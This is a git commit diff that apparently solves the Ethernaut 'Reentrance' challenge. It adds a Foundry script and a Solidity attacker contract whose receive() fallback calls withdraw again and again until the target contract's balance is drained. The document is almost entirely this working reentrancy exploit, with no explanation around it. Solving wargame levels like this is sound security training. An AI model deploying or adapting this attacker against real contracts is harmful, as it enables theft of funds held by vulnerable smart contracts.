complete 10-Reentrance

script/solutions/10-Reentrance.s.sol

@@ -5,6 +5,7 @@ import {Script, console2} from "forge-std/Script.sol";
 import {EthernautHelper} from "../setup/EthernautHelper.sol";
 
 // NOTE You can import your helper contracts & create interfaces here
+import "../../src/10-ReentranceAttacker.sol";
 
 contract ReentranceSolution is Script, EthernautHelper {
     address constant LEVEL_ADDRESS = 0x2a24869323C0B13Dff24E196Ba072dC790D52479;
@@ -13,11 +14,12 @@ contract ReentranceSolution is Script, EthernautHelper {
     function run() public {
         vm.startBroadcast(heroPrivateKey);
         // NOTE this is the address of your challenge contract
-        address challengeInstance = createInstance(LEVEL_ADDRESS);
+        // NOTE Must send at least 0.001 ETH
+        address challengeInstance = __createInstance(LEVEL_ADDRESS);
 
         // YOUR SOLUTION HERE
-
-
+        ReentranceAttacker reentranceAttacker = new ReentranceAttacker{value: 0.001 ether}(challengeInstance);
+        reentranceAttacker.attack();
 
         // SUBMIT CHALLENGE. (DON'T EDIT)
         bool levelSuccess = submitInstance(challengeInstance);

src/10-ReentranceAttacker.sol

@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+interface IReentrance {
+    function donate(address _to) external payable;
+    function withdraw(uint _amount) external;
+    function balanceOf(address _who) external view returns (uint balance);
+}
+
+contract ReentranceAttacker {
+    address public challengeInstance;
+
+    constructor(address _challengeInstance) payable {
+        challengeInstance = _challengeInstance;
+    }
+
+    function attack() external {
+        IReentrance(challengeInstance).donate{value: 0.001 ether}(address(this));
+        IReentrance(challengeInstance).withdraw(0.001 ether);
+    }
+
+    receive() external payable {
+        uint balance = IReentrance(challengeInstance).balanceOf(address(this));
+        if (balance > 0) {
+            IReentrance(challengeInstance).withdraw(balance);
+        }
+    }
+}